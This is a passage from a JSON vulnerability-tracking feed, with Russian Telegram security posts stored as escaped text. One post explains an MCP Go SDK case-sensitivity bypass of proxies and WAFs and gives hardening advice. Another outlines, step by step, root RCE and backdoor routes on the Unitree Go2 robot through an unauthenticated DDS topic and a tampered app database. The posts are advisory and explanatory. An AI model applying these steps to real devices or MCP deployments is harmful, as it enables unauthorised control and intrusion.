\u0435\u0434\u0438\u043d\u044b\u043c \u0437\u0430\u043f\u043b\u0430\u0442\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u0434\u044b \u043d\u0435 \u043e\u0434\u043e\u043b\u0435\u0442\u044c: 36% MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u043e\u0432\u0441\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0438 \u0432\u043e\u0440\u043e\u0442\u0430 \u043d\u0430\u0440\u0430\u0441\u043f\u0430\u0448\u043a\u0443. \n\n\u0410\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u043e\u0440\u043e\u043d\u0443 \u0433\u043b\u0443\u0431\u043e\u043a\u0443\u044e: \u0432\u0437\u0430\u0438\u043c\u043d\u043e\u0435 TLS-\u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u0435 \u043c\u0435\u0436 MCP-\u0447\u0430\u0441\u0442\u044f\u043c\u0438, \u0441\u0442\u0440\u043e\u0433\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 (AI-\u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0432\u0441\u044f\u043a\u0438\u0439 \u043e\u0442\u0432\u0435\u0442 MCP \u0437\u0430 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439), \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0442\u0435\u0439 \u0438 \u0437\u0430\u0442\u043e\u0447\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b. \u041d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0432\u0435\u0441\u0442\u0438 \u043b\u0435\u0442\u043e\u043f\u0438\u0441\u044c \u0432\u0441\u0435\u0445 tool calls \u0438 \u0432\u044b\u0438\u0441\u043a\u0438\u0432\u0430\u0442\u044c \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438. \u0410 \u043d\u0430\u0438\u043f\u0430\u0447\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u044b\u043d\u0435 \u2014 \u0443\u0431\u0430\u0432\u0438\u0442\u044c \u0447\u0438\u0441\u043b\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0438\u0431\u043e \u0432\u0441\u044f\u043a\u0438\u0439 \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0440\u0443\u0431\u0435\u0436\u0438, \u043a\u043e\u0438\u0445 \u043d\u0430\u0434\u043e\u0431\u043d\u043e \u043e\u0431\u043e\u0440\u043e\u043d\u044f\u0442\u044c.\n\n\u041f\u0438\u0441\u0430\u043d\u043e \u0440\u0443\u043a\u043e\u044e \u0418\u043d\u043d\u043e\u043a\u0435\u043d\u0442\u0438\u044f, \u0434\u044c\u044f\u043a\u0430 \u043f\u0440\u0438\u043a\u0430\u0437\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n#red_team #memes", "creation_timestamp": "2026-09-14T18:00:06.596702Z"}, {"uuid": "9ea56c63-6a46-4d4b-b0d3-34b5a5becce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://t.me/purp_sec/1423", "content": "\u041a\u0442\u043e-\u0442\u043e \u0441\u043d\u043e\u0432\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0440\u043e\u0431\u043e\u0442\u0430 Unitree \ud83d\ude2e\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 \u0411\u0430\u0441\u0442\u0438\u043e\u043d\u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435 \u043f\u0440\u043e \u0432\u0437\u043b\u043e\u043c \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 Unitree G1. \u0422\u043e\u0433\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043a\u0438\u0431\u043e\u0440\u0433\u0430-\u0443\u0431\u0438\u0439\u0446\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u0442\u0432\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0430\u043c \u0438 \u0441\u0430\u043b\u044c\u0442\u043e \u043f\u043e\u043a\u0430\u0436\u0435\u0442, \u0438 \u043a\u0443\u043d\u0433-\u0444\u0443, \u0438 \u0434\u0430\u0436\u0435 \u043f\u0430\u043b\u043a\u043e\u0439 \u043f\u043e \u0433\u043e\u043b\u043e\u0432\u0435 \u043f\u043e\u0441\u0442\u0443\u0447\u0438\u0442 \u0434\u0430 \u043f\u0440\u043e\u0441\u0442\u0438\u0442 \u043d\u0430\u0441 \u0410\u0437\u0438\u043c\u043e\u0432. \u041a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f eval() \u0432 \u043a\u043e\u0434\u0435 \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 \u0441\u0442\u0440\u0430\u0448\u043d\u0435\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d.\n\n\u0418 \u0432\u043e\u0442 \u0432\u0430\u043c \u0441\u0432\u0435\u0436\u0435\u043d\u044c\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u0436\u0435 \u043f\u0440\u043e Unitree Go2 \u2014 \u0447\u0435\u0442\u0432\u0435\u0440\u043e\u043d\u043e\u0433\u043e\u0433\u043e \u0440\u043e\u0431\u043e\u0442\u0430 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux (ARM), \u0441 Wi-Fi, LTE (\u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445), OTA-\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2026-27509 \u0438 CVE-2026-27510 \u0441\u043c\u043e\u0433\u043b\u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f RCE \u043d\u0430 \u0440\u043e\u0431\u043e\u0441\u043e\u0431\u0430\u043a\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043d\u0435\u0439.\n\nCVE-2026-27509 \u2014 \u044d\u0442\u043e unauthRCE \u0447\u0435\u0440\u0435\u0437 DDS-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430\u0445 Unitree Go2. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 actuator_manager.py, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u0442\u043e\u043f\u0438\u043a rt/api/programming_actuator/request \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 (DDS domain 0 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 api_id=1002, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434 \u0432 JSON-\u043f\u043e\u043b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430.\n\u23fa\u041a\u043e\u0434 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b /unitree/etc/programming/.py \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, R1+Y) \u0447\u0435\u0440\u0435\u0437 hotkey_manager.py.\n\u23fa\u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e subprocess.Popen(['python3', ...]). \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\nCVE-2026-27510 \u2014 RCE \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 SQLite-\u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Unitree Go2 (\u0444\u0430\u0439\u043b /data/data/com.unitree.doggo2/databases/unitree_go2.db, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 dog_programme). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 root-\u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0431\u0430\u0437\u0443.\n\u23fa\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u043b\u0435 pyCode \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434.\n\u23fa\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0431\u0430\u0437\u0443 \u0441 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441 \u0440\u043e\u0431\u043e\u0442\u043e\u043c. \n\u23fa\u041f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u043a \u043a\u043b\u0430\u0432\u0438\u0448\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, L1+Y) \u0431\u043b\u043e\u043a Blockly \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043a\u043e\u0434 \u0432 \u0442\u043e\u0442 \u0436\u0435 actuator_manager.py, \u0433\u0434\u0435 \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 root \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\u23fa\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\ud83d\udde3 \u0427\u0438\u0442\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\n\n#red_team", "creation_timestamp": "2026-09-14T18:00:06.921873Z"}, {"uuid": "e73a1337-c5de-4e88-bd1b-e504a5c3a20c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/kvYXJ_fNmwBQ9Yglg1TGim8W6Kuqti0GVwRnrj-jVNkwZyg", "content": "", "creation_timestamp": "2026-09-14T20:00:05.891826Z"}, {"uuid": "492c2677-dd53-46b2-83b6-d52c35d1e2c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/s-8DsyOiId0oPtfl3Cq1DdYK1Hd-LjgtbtPAIB167qtk0_s", "content": "", "creation_timestamp": "2026-09-14T22:00:04.945981Z"}, {"uuid": "596bb5bb-ca9d-48a9-9c94-9e1510fa1c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/s-8DsyOiId0oPtfl3Cq1DdYK1Hd-LjgtbtPAIB167qtk0_s", "content": "", "creation_timestamp": "2026-09-15T00:00:09.436605Z"}, {"uuid": "5153e64a-a0e2-47cd-82a6-bbcf626fb9c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/2H2rLLj_yopSB8FXwFjoRrUb_4PBHTp7JA23qh9ZyFZjIdg", "content": "", "creation_timestamp": "2026-09-15T00:00:20.766316Z"}, {"uuid": "9141f776-8db2-46f0-ae4b-6cf36ee8d867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/kvYXJ_fNmwBQ9Yglg1TGim8W6Kuqti0GVwRnrj-jVNkwZyg", "content": "", "creation_timestamp": "2026-09-15T00:00:10.310838Z"}, {"uuid": "cdf3aa8a-1eb2-49c3-8698-c0aa65697ccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27896", "type": "seen", "source": "https://t.me/purp_sec/1425", "content": "\u2328\ufe0f \u0413\u0440\u0430\u043c\u043e\u0442\u0430 \u043e \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 MCP, \u043b\u0435\u0442\u0430 7534 \u043e\u0442 \u0441\u043e\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043c\u0438\u0440\u0430\n\n\u042f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27896 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u043c\u0443\u0434\u0440\u0435\u0446\u0430\u043c\u0438 \u0432 7.0 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0441\u0438\u0440\u0435\u0447\u044c \u00ab\u0412\u044b\u0441\u043e\u043a\u0430\u044f\u00bb \u2014 \u0431\u0440\u0435\u0448\u044c \u0438\u0437\u0440\u044f\u0434\u043d\u0430\u044f, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u043d\u0430\u0438\u043f\u0430\u0433\u0443\u0431\u043d\u0435\u0439\u0448\u0430\u044f. \n\n\u0421\u0443\u0442\u044c \u0436\u0435 \u0432\u043e\u0442 \u0432 \u0447\u0435\u043c: \u0444\u0443\u043d\u043a\u0446\u0438\u044f json.Unmarshal() \u044f\u0437\u044b\u043a\u0430 Go \u0441\u043b\u0438\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u044f JSON-\u0433\u0440\u0430\u043c\u043e\u0442 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0438 \u043c\u0430\u043b\u044b\u0445 \u043b\u0438\u0442\u0435\u0440 \u2014 \u0434\u043b\u044f \u043d\u0435\u0435 Method \u0438 method \u0441\u0443\u0442\u044c \u0435\u0434\u0438\u043d\u043e, \u0430 \u0443\u043b\u043e\u0436\u0435\u043d\u0438\u0435 JSON-RPC 2.0 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0442\u043e\u0447\u043d\u043e\u0433\u043e, \u0434\u043e \u0435\u0434\u0438\u043d\u043e\u0439 \u0431\u0443\u043a\u0432\u0438\u0446\u044b. \u0412\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u0432\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0432 \u043a\u043e\u0434\u0435 \u2014 \u0441\u0442\u0440\u0430\u0436\u0438 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 (WAF, \u043f\u0440\u043e\u043a\u0441\u0438) \u0434\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442 \u0433\u0440\u0430\u043c\u043e\u0442\u044b \u0441\u0442\u0440\u043e\u0433\u043e \u043f\u043e \u0443\u043b\u043e\u0436\u0435\u043d\u0438\u044e \u0438 \u0443\u0433\u0440\u043e\u0437\u044b \u043d\u0435 \u0437\u0440\u044f\u0442, \u0430 MCP Go SDK \u0432\u0442\u0438\u0445\u043e\u043c\u043e\u043b\u043a\u0443 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435. \u041d\u0430 \u0434\u0435\u043b\u0435 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0436 AI-\u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0438 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0442\u043e\u043a\u043c\u043e \u043c\u0435\u043d\u044f\u044f \u043d\u0430\u0447\u0435\u0440\u0442\u0430\u043d\u0438\u0435 \u043b\u0438\u0442\u0435\u0440 \u0432 \u043f\u043e\u043b\u044f\u0445 JSON. \n\n\u0418 \u0437\u0435\u043b\u043e \u0432\u0430\u0436\u0435\u043d \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442: \u0441\u0438\u0435 \u0443\u0436\u0435 30-\u044f \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0437\u0435\u043c\u043b\u044f\u0445 MCP \u0441 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u043b\u0435\u0442\u043e 2024-\u0435, \u0430 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u043e\u043d\u044b\u0445 \u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u043c\u0435\u0441\u044f\u0446\u0430 \u2014 \u0442\u043e \u0431\u0438\u0448\u044c \u0440\u0435\u0447\u044c \u043d\u0435 \u043e\u0431 \u043e\u0434\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435, \u0430 \u043e \u0445\u0432\u043e\u0440\u044f\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430.\n\n\u041e\u0442 \u0441\u0435\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043f\u0430\u0441\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 MCP Go SDK \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.3.1, \u0433\u0434\u0435 \u043f\u0430\u0440\u0441\u0438\u043d\u0433 JSON \u0437\u0430\u043c\u0435\u043d\u0438\u043b\u0438 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439. \u041e\u0434\u043d\u0430\u043a\u043e \u0435\u0434\u0438\u043d\u044b\u043c \u0437\u0430\u043f\u043b\u0430\u0442\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u0434\u044b \u043d\u0435 \u043e\u0434\u043e\u043b\u0435\u0442\u044c: 36% MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u043e\u0432\u0441\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0438 \u0432\u043e\u0440\u043e\u0442\u0430 \u043d\u0430\u0440\u0430\u0441\u043f\u0430\u0448\u043a\u0443. \n\n\u0410\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u043e\u0440\u043e\u043d\u0443 \u0433\u043b\u0443\u0431\u043e\u043a\u0443\u044e: \u0432\u0437\u0430\u0438\u043c\u043d\u043e\u0435 TLS-\u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u0435 \u043c\u0435\u0436 MCP-\u0447\u0430\u0441\u0442\u044f\u043c\u0438, \u0441\u0442\u0440\u043e\u0433\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 (AI-\u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0432\u0441\u044f\u043a\u0438\u0439 \u043e\u0442\u0432\u0435\u0442 MCP \u0437\u0430 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439), \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0442\u0435\u0439 \u0438 \u0437\u0430\u0442\u043e\u0447\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b. \u041d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0432\u0435\u0441\u0442\u0438 \u043b\u0435\u0442\u043e\u043f\u0438\u0441\u044c \u0432\u0441\u0435\u0445 tool calls \u0438 \u0432\u044b\u0438\u0441\u043a\u0438\u0432\u0430\u0442\u044c \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438. \u0410 \u043d\u0430\u0438\u043f\u0430\u0447\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u044b\u043d\u0435 \u2014 \u0443\u0431\u0430\u0432\u0438\u0442\u044c \u0447\u0438\u0441\u043b\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0438\u0431\u043e \u0432\u0441\u044f\u043a\u0438\u0439 \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0440\u0443\u0431\u0435\u0436\u0438, \u043a\u043e\u0438\u0445 \u043d\u0430\u0434\u043e\u0431\u043d\u043e \u043e\u0431\u043e\u0440\u043e\u043d\u044f\u0442\u044c.\n\n\u041f\u0438\u0441\u0430\u043d\u043e \u0440\u0443\u043a\u043e\u044e \u0418\u043d\u043d\u043e\u043a\u0435\u043d\u0442\u0438\u044f, \u0434\u044c\u044f\u043a\u0430 \u043f\u0440\u0438\u043a\u0430\u0437\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n#red_team #memes", "creation_timestamp": "2026-09-15T00:00:11.398254Z"}, {"uuid": "e5ac56ca-7b5f-4d9c-b06a-eb0f729355e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "published-proof-of-concept", "source": "https://t.me/purp_sec/1423", "content": "\u041a\u0442\u043e-\u0442\u043e \u0441\u043d\u043e\u0432\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0440\u043e\u0431\u043e\u0442\u0430 Unitree \ud83d\ude2e\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 \u0411\u0430\u0441\u0442\u0438\u043e\u043d\u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435 \u043f\u0440\u043e 